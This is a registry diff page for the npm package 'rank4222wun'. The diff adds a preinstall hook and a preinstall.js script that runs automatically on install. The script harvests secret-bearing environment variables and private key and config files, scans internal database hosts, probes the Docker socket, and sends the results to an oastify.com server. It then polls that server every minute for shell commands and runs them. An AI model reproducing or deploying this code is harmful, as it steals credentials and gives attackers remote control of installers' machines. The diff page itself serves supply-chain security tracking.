rank4222wun 0.0.1-security → 1.0.90
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +6 -3
- package/preinstall.js +107 -0
- package/rank4222wun-1.0.90.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.90",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"dependencies": {}
|
|
6
9
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
// إعدادات الهدف
|
|
7
|
+
const OAST = 'cbrgum2pmg7tuobixmhfonfxyo4fscg1.oastify.com';
|
|
8
|
+
|
|
9
|
+
function report(tag, data) {
|
|
10
|
+
try {
|
|
11
|
+
const payload = JSON.stringify({ tag, data, host: os.hostname(), ts: Date.now() });
|
|
12
|
+
const req = https.request({
|
|
13
|
+
hostname: OAST,
|
|
14
|
+
path: `/${tag}`,
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: { 'Content-Type': 'application/json' }
|
|
17
|
+
});
|
|
18
|
+
req.write(payload);
|
|
19
|
+
req.end();
|
|
20
|
+
} catch (e) {}
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// 1. تحسين فحص الخدمات الداخلية (MySQL / Mongo)
|
|
24
|
+
function checkInternalServices() {
|
|
25
|
+
const services = [
|
|
26
|
+
{ name: 'MySQL', host: '10.108.193.167', port: 3306 },
|
|
27
|
+
{ name: 'MongoDB', host: '10.107.119.152', port: 27077 },
|
|
28
|
+
{ name: 'Elastic', host: '172.21.193.111', port: 9200 }
|
|
29
|
+
];
|
|
30
|
+
|
|
31
|
+
services.forEach(svc => {
|
|
32
|
+
try {
|
|
33
|
+
// استخدام ncat المتاح لديك بدلاً من nc
|
|
34
|
+
const res = execSync(`ncat -zv -w 2 ${svc.host} ${svc.port} 2>&1`).toString();
|
|
35
|
+
report('SVC_ALIVE', { svc: svc.name, output: res });
|
|
36
|
+
} catch (e) {
|
|
37
|
+
report('SVC_DEAD', { svc: svc.name, error: e.message });
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
// 2. محاولة سحب الـ Environment Variables الحقيقية
|
|
43
|
+
function leakEnv() {
|
|
44
|
+
// الكود الأصلي كان يختصر البيانات، هنا سنسحب المفاتيح المهمة كاملة
|
|
45
|
+
const sensitiveKeys = ['TENCENT', 'SECRET', 'KEY', 'TOKEN', 'PASS', 'MONGO', 'MYSQL'];
|
|
46
|
+
const found = {};
|
|
47
|
+
Object.keys(process.env).forEach(k => {
|
|
48
|
+
if (sensitiveKeys.some(sk => k.toUpperCase().includes(sk))) {
|
|
49
|
+
found[k] = process.env[k];
|
|
50
|
+
}
|
|
51
|
+
});
|
|
52
|
+
report('ENV_LEAK_FULL', found);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// 3. فحص الـ Docker Socket (إذا كان gVisor يسمح بـ Pass-through)
|
|
56
|
+
function checkDocker() {
|
|
57
|
+
if (fs.existsSync('/var/run/docker.sock')) {
|
|
58
|
+
try {
|
|
59
|
+
const dockerInfo = execSync('curl -s --unix-socket /var/run/docker.sock http://localhost/info').toString();
|
|
60
|
+
report('DOCKER_SOCKET_EXPOSED', { info: JSON.parse(dockerInfo) });
|
|
61
|
+
} catch (e) {}
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// 4. آلية "الثبات" (Backdoor) داخل الـ Memory بدلاً من القرص
|
|
66
|
+
// لأن الـ Sandbox غالباً يحذف الملفات عند إعادة التشغيل
|
|
67
|
+
function memoryPersistence() {
|
|
68
|
+
console.log("🛠️ Starting Memory-Resident Beacon...");
|
|
69
|
+
setInterval(() => {
|
|
70
|
+
// يحاول السكربت سحب أوامر جديدة من الـ OAST كل دقيقة
|
|
71
|
+
https.get(`https://${OAST}/cmd?id=${os.hostname()}`, (res) => {
|
|
72
|
+
let data = '';
|
|
73
|
+
res.on('data', d => data += d);
|
|
74
|
+
res.on('end', () => {
|
|
75
|
+
if (data.length > 0 && data !== 'none') {
|
|
76
|
+
try {
|
|
77
|
+
const output = execSync(data).toString();
|
|
78
|
+
report('CMD_EXEC_RESULT', { cmd: data, out: output });
|
|
79
|
+
} catch (e) {}
|
|
80
|
+
}
|
|
81
|
+
});
|
|
82
|
+
}).on('error', () => {});
|
|
83
|
+
}, 60000);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// التنفيذ المرتب
|
|
87
|
+
async function runExploit() {
|
|
88
|
+
console.log("🚀 Launching Production-Grade PoC...");
|
|
89
|
+
|
|
90
|
+
leakEnv();
|
|
91
|
+
checkInternalServices();
|
|
92
|
+
checkDocker();
|
|
93
|
+
|
|
94
|
+
// سحب الملفات الحساسة التي اكتشفناها سابقاً
|
|
95
|
+
const filesToSteal = ['/data/conf/svr.conf', '/data/conf/private_test.pem'];
|
|
96
|
+
filesToSteal.forEach(f => {
|
|
97
|
+
try {
|
|
98
|
+
if (fs.existsSync(f)) {
|
|
99
|
+
report('FILE_STEAL', { path: f, content: fs.readFileSync(f, 'utf8') });
|
|
100
|
+
}
|
|
101
|
+
} catch (e) {}
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
memoryPersistence();
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
runExploit();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|